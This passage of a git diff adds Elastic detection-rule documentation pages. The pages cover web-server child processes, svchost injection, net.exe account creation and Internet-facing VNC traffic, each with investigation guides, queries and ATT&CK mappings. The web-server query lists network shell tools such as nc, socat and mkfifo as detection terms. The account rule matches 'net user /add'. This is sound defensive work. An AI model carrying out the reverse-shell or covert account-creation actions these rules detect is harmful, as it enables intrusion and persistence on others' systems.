bug where a missing closing quote sets args_count to 1 despite extra args */ + not process.command_line regex~ """\".*\.exe[^\"].*""" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: NTFS File Attributes +** ID: T1564.004 +** Reference URL: https://attack.mitre.org/techniques/T1564/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-process-spawned-from-web-server-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-process-spawned-from-web-server-parent.asciidoc new file mode 100644 index 0000000000..7bb99078b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-process-spawned-from-web-server-parent.asciidoc @@ -0,0 +1,281 @@ +[[prebuilt-rule-8-19-21-unusual-process-spawned-from-web-server-parent]] +=== Unusual Process Spawned from Web Server Parent + +This rule detects unusual processes spawned from a web server parent process by identifying low frequency counts of process spawning activity. Unusual process spawning activity may indicate an attacker attempting to establish persistence, execute malicious commands, or establish command and control channels on the host system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Process Spawned from Web Server Parent* + + +Web servers like Apache, Nginx, and others are crucial for hosting applications and services. Adversaries exploit these servers by spawning unauthorized processes to maintain persistence or execute malicious commands. The detection rule identifies anomalies by monitoring low-frequency process spawns from web server parents, focusing on unusual user IDs, directories, and process counts, which may indicate potential threats. + + +*Possible investigation steps* + + +- Review the process.executable and process.command_line fields to understand the nature of the process that was spawned and assess if it aligns with expected behavior for the web server environment. +- Examine the process.working_directory to determine if the directory is a legitimate location for web server operations or if it appears suspicious, such as being outside typical web server directories. +- Check the user.name and user.id fields to verify if the process was executed by a legitimate web server user or if it was initiated by an unexpected or unauthorized user account. +- Investigate the process.parent.executable to confirm whether the parent process is a known and trusted web server executable or if it has been tampered with or replaced. +- Correlate the event with other logs or alerts from the same agent.id to identify any additional suspicious activities or patterns that may indicate a broader compromise. +- Assess the host.os.type to ensure the alert pertains to a Linux system, as specified in the query, and verify if there are any known vulnerabilities or misconfigurations on the host that could have been exploited. + + +*False positive analysis* + + +- Processes related to legitimate web server maintenance tasks may trigger alerts. Review scheduled tasks or cron jobs that align with the alert timing and consider excluding these specific processes if they are verified as non-threatening. +- Development environments often spawn processes that mimic attack patterns. Identify and exclude processes originating from known development directories or executed by development user accounts. +- Automated scripts or monitoring tools running under web server user accounts can be mistaken for malicious activity. Verify these scripts and add exceptions for their specific process names or working directories. +- Frequent updates or deployments in web applications can lead to unusual process spawns. Document these activities and exclude related processes if they consistently match the alert criteria during known update windows. +- Custom web server modules or plugins may execute processes that appear suspicious. Validate these modules and exclude their associated processes if they are part of normal operations. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further malicious activity and potential lateral movement. +- Terminate any suspicious processes identified by the alert that are not part of legitimate web server operations. +- Conduct a thorough review of the process command lines and executables flagged by the alert to identify any malicious scripts or binaries. Remove or quarantine these files as necessary. +- Check for unauthorized changes in web server configurations or files within the working directories flagged by the alert. Restore any altered files from a known good backup. +- Review user accounts and permissions associated with the web server processes to ensure no unauthorized accounts or privilege escalations have occurred. Reset passwords and revoke unnecessary access. +- Monitor network traffic from the affected host for any signs of command and control communication, and block any identified malicious IP addresses or domains. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and ( + ( + process.parent.name in ( + "apache", "nginx", "apache2", "httpd", "lighttpd", "caddy", "mongrel_rails", "gunicorn", + "uwsgi", "openresty", "cherokee", "h2o", "resin", "puma", "unicorn", "traefik", "tornado", "hypercorn", + "daphne", "twistd", "yaws", "webfsd", "httpd.worker", "flask", "rails", "mongrel", "php-cgi", + "php-fcgi", "php-cgi.cagefs", "catalina.sh", "hiawatha", "lswsctrl" + ) or + process.parent.name like "php-fpm*" or + user.name in ("apache", "www-data", "httpd", "nginx", "lighttpd", "tomcat", "tomcat8", "tomcat9") or + user.id in ("33", "498", "48") or + (process.parent.name == "java" and process.parent.working_directory like "/u0?/*") or + process.parent.working_directory like "/var/www/*" + ) + ) and ( + process.name in ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "socat", "openssl", "busybox", + "nc", "ncat", "netcat", "nc.openbsd", "nc.traditional", "nohup", "setsid", "mkfifo", "mknod", + "node", "socket" + ) or + process.name like "python*" or + process.name like "php*" or + process.name like "perl" or + process.name like "ruby*" or + process.name like "lua*" or + process.executable like "/tmp/*" or + process.executable like "/var/tmp/*" or + process.executable like "/dev/shm/*" or + process.executable like "/var/log/*" or + process.executable like "/sys/*" or + process.executable like "/media/*" or + process.executable like "/proc/*" or + process.executable like "/var/backups/*" or + process.executable like "/var/mail/*" or + process.executable like "/var/spool/*" or + process.executable like "/var/www/*" or + process.executable like "./*" or + process.name like ".*" + ) and + not ( + process.working_directory like "/home/*" or + process.working_directory == "/" or + process.working_directory like "/var/www/*.ch" or + process.parent.executable like "/vscode/vscode-server/*" + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.parent.name, + user.name, + user.id, + process.working_directory, + process.parent.working_directory, + process.name, + process.executable, + process.command_line, + process.parent.executable, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.executable, process.working_directory, process.parent.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 5 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, process.working_directory, process.parent.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-service-host-child-process-childless-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-service-host-child-process-childless-service.asciidoc new file mode 100644 index 0000000000..d96c8fc38c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-unusual-service-host-child-process-childless-service.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-21-unusual-service-host-child-process-childless-service]] +=== Unusual Service Host Child Process - Childless Service + +Identifies unusual child processes of Service Host (svchost.exe) that traditionally do not spawn any child processes. This may indicate a code injection or an equivalent form of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Service Host Child Process - Childless Service* + + +Service Host (svchost.exe) is a critical Windows process that hosts multiple services to optimize resource usage. Typically, certain services under svchost.exe do not spawn child processes. Adversaries exploit this by injecting malicious code to execute unauthorized processes, evading detection. The detection rule identifies anomalies by monitoring child processes of traditionally childless services, flagging potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the process details of the child process, including its name and executable path, to determine if it is a known legitimate process or potentially malicious. +- Examine the parent process arguments to confirm if the svchost.exe instance is associated with a service that traditionally does not spawn child processes, as listed in the query. +- Check the process creation time and correlate it with any other suspicious activities or alerts in the system around the same timeframe. +- Investigate the user account under which the child process was executed to assess if it has the necessary privileges and if the activity aligns with typical user behavior. +- Analyze any network connections or file modifications made by the child process to identify potential malicious actions or data exfiltration attempts. +- Cross-reference the child process with known false positives listed in the query to rule out benign activities. +- Utilize threat intelligence sources to determine if the child process or its executable path is associated with known malware or attack patterns. + + +*False positive analysis* + + +- Processes like WerFault.exe, WerFaultSecure.exe, and wermgr.exe are known to be legitimate Windows error reporting tools that may occasionally be spawned by svchost.exe. To handle these, add them to the exclusion list in the detection rule to prevent unnecessary alerts. +- RelPost.exe associated with WdiSystemHost can be a legitimate process in certain environments. If this is a common occurrence, consider adding an exception for this executable when it is spawned by WdiSystemHost. +- Rundll32.exe executing winethc.dll with ForceProxyDetectionOnNextRun arguments under WdiServiceHost may be a benign operation in some network configurations. If verified as non-malicious, exclude this specific process and argument combination. +- Processes under the imgsvc service, such as lexexe.exe from Kodak directories, might be legitimate in environments using specific imaging software. Validate these occurrences and exclude them if they are confirmed to be non-threatening. +- Regularly review and update the exclusion list to ensure it reflects the current environment and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious child processes spawned by svchost.exe that are not typically associated with legitimate operations, as identified in the alert. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any injected malicious code or associated malware. +- Review and analyze the process tree and parent-child relationships to understand the scope of the compromise and identify any additional affected processes or systems. +- Restore the affected system from a known good backup if malicious activity is confirmed and cannot be fully remediated through cleaning. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for svchost.exe and related processes to detect similar anomalies in the future, ensuring that alerts are configured to notify the appropriate personnel promptly. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "svchost.exe" and + + /* based on svchost service arguments -s svcname where the service is known to be childless */ + process.parent.args : ( + "WdiSystemHost", "LicenseManager", "StorSvc", "CDPSvc", "cdbhsvc", "BthAvctpSvc", "SstpSvc", "WdiServiceHost", + "imgsvc", "TrkWks", "WpnService", "IKEEXT", "PolicyAgent", "CryptSvc", "netprofm", "ProfSvc", "StateRepository", + "camsvc", "LanmanWorkstation", "NlaSvc", "EventLog", "hidserv", "DisplayEnhancementService", "ShellHWDetection", + "AppHostSvc", "fhsvc", "CscService", "PushToInstall" + ) and + + /* unknown FPs can be added here */ + not process.name : ("WerFault.exe", "WerFaultSecure.exe", "wermgr.exe") and + not (process.executable : "?:\\Windows\\System32\\RelPost.exe" and process.parent.args : "WdiSystemHost") and + not ( + process.name : "rundll32.exe" and + process.args : "?:\\WINDOWS\\System32\\winethc.dll,ForceProxyDetectionOnNextRun" and + process.parent.args : "WdiServiceHost" + ) and + not ( + process.executable : ( + "?:\\Program Files\\*", + "?:\\Program Files (x86)\\*", + "?:\\Windows\\System32\\Kodak\\kds_?????\\lib\\lexexe.exe" + ) and process.parent.args : "imgsvc" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Process Hollowing +** ID: T1055.012 +** Reference URL: https://attack.mitre.org/techniques/T1055/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-user-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-user-account-creation.asciidoc new file mode 100644 index 0000000000..16bd05f042 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-user-account-creation.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-user-account-creation]] +=== User Account Creation + +Identifies attempts to create new users. This is sometimes done by attackers to increase access or establish persistence on a system or domain. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating User Account Creation* + + +Attackers may create new accounts (both local and domain) to maintain access to victim systems. + +This rule identifies the usage of `net.exe` to create new accounts. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify if the account was added to privileged groups or assigned special privileges after creation. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Account creation is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Related rules* + + +- Creation of a Hidden Local User Account - 2edc8076-291e-41e9-81e4-e3fcbc97ae5e +- Windows User Account Creation - 38e17753-f581-4644-84da-0d60a8318694 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Delete the created account. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : ("net.exe", "net1.exe") and not process.parent.name : "net.exe") and + (process.args : "user" and process.args : ("/ad", "/add")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1136.002 +** Reference URL: https://attack.mitre.org/techniques/T1136/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-vnc-virtual-network-computing-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-vnc-virtual-network-computing-from-the-internet.asciidoc new file mode 100644 index 0000000000..7208764dcb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-vnc-virtual-network-computing-from-the-internet.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-vnc-virtual-network-computing-from-the-internet]] +=== VNC (Virtual Network Computing) from the Internet + +This rule detects network events that may indicate the use of VNC traffic from the Internet. VNC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating VNC (Virtual Network Computing) from the Internet* + + +VNC allows remote control of systems, facilitating maintenance and resource sharing. However, when exposed to the Internet, it becomes a target for attackers seeking unauthorized access. Adversaries exploit VNC for initial access or as a backdoor. The detection rule identifies suspicious VNC traffic by monitoring specific TCP ports and filtering out trusted IP ranges, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address of the alert to determine if it is from an untrusted or suspicious location, as the rule filters out known trusted IP ranges. +- Check the destination IP address to confirm it belongs to an internal network (10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16) and verify if the system is authorized to receive VNC traffic. +- Analyze the network traffic logs for the specified TCP ports (5800-5810) to identify any unusual patterns or repeated access attempts that could indicate malicious activity. +- Investigate the context of the event by correlating it with other security alerts or logs to determine if there are signs of a broader attack or compromise. +- Assess the risk and impact of the potential threat by evaluating the criticality of the affected system and any sensitive data it may contain. + + +*False positive analysis* + + +- Internal testing or maintenance activities may trigger the rule if VNC is used for legitimate purposes within a controlled environment. To manage this, create exceptions for known internal IP addresses that frequently use VNC for authorized tasks. +- Automated systems or scripts that utilize VNC for routine operations might be flagged. Identify these systems and exclude their IP addresses from the rule to prevent unnecessary alerts. +- Remote workers using VPNs that route traffic through public IPs could be mistakenly identified as threats. Ensure that VPN IP ranges are included in the trusted IP list to avoid false positives. +- Misconfigured network devices that inadvertently expose VNC ports to the Internet can cause alerts. Regularly audit network configurations to ensure VNC ports are not exposed and adjust the rule to exclude known safe configurations. +- Third-party service providers accessing systems via VNC for support purposes might be flagged. Establish a list of trusted IPs for these providers and update the rule to exclude them from detection. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active VNC sessions originating from untrusted IP addresses to cut off potential attacker access. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized changes or data access that may have occurred during the VNC session. +- Reset credentials for any accounts that were accessed or could have been compromised during the unauthorized VNC session. +- Apply security patches and updates to the VNC software and any other potentially vulnerable applications on the affected system. +- Implement network segmentation to ensure that VNC services are only accessible from trusted internal networks and not exposed to the Internet. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and destination.port >= 5800 and destination.port <= 5810 and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-vnc-virtual-network-computing-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-vnc-virtual-network-computing-to-the-internet.asciidoc new file mode 100644 index 0000000000..96795e50d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-vnc-virtual-network-computing-to-the-internet.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-21-vnc-virtual-network-computing-to-the-internet]] +=== VNC (Virtual Network Computing) to the Internet + +This rule detects network events that may indicate the use of VNC traffic to the Internet. VNC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Lateral Movement +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating VNC (Virtual Network Computing) to the Internet* + + +VNC is a tool that allows remote control of computers, often used by administrators for maintenance. However, when exposed to the internet, it becomes a target for attackers seeking unauthorized access. Adversaries exploit VNC to establish backdoors or gain initial access. The detection rule identifies suspicious VNC traffic by monitoring specific TCP ports and filtering out internal IP addresses, flagging potential threats when VNC is accessed from external networks. + + +*Possible investigation steps* + + +- Review the source IP address to determine if it belongs to a known internal asset or user, and verify if the access was authorized. +- Check the destination IP address to confirm if it is an external address and investigate its reputation or any known associations with malicious activity. +- Analyze the network traffic logs for the specified TCP ports (5800-5810) to identify any unusual patterns or volumes of VNC traffic. +- Correlate the VNC traffic event with other security events or logs to identify any related suspicious activities or anomalies. +- Investigate the user account associated with the VNC session to ensure it has not been compromised or misused. +- Assess the system or application logs on the destination machine for any signs of unauthorized access or changes during the time of the VNC connection. + + +*False positive analysis* + + +- Internal maintenance activities may trigger the rule if VNC is used for legitimate remote administration. To manage this, create exceptions for known internal IP addresses that frequently use VNC for maintenance. +- Automated scripts or tools that use VNC for legitimate purposes might be flagged. Identify these tools and whitelist their IP addresses to prevent unnecessary alerts. +- Testing environments that simulate external access to VNC for security assessments can cause false positives. Exclude IP ranges associated with these environments to avoid confusion. +- Cloud-based services that use VNC for remote management might be misidentified as threats. Verify these services and add their IP addresses to an exception list if they are trusted. +- Temporary remote access setups for troubleshooting or support can be mistaken for unauthorized access. Document these instances and apply temporary exceptions to reduce false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active VNC sessions that are identified as originating from external networks to cut off potential attacker access. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized access or data transfer that may have occurred during the VNC exposure. +- Change all passwords and credentials associated with the affected system and any other systems that may have been accessed using the same credentials. +- Apply necessary patches and updates to the VNC software and any other vulnerable applications on the affected system to mitigate known vulnerabilities. +- Implement network segmentation to ensure that VNC services are only accessible from trusted internal networks and not exposed to the internet. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be compromised. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and destination.port >= 5800 and destination.port <= 5810 and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 